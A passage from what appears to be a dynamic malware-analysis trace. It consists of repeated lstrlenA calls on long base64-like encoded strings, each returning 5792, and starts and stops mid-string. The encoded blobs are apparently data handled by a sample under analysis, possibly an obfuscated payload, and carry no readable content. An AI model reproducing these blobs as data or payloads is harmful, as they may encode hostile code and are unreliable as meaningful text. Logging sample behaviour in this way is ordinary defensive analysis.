MGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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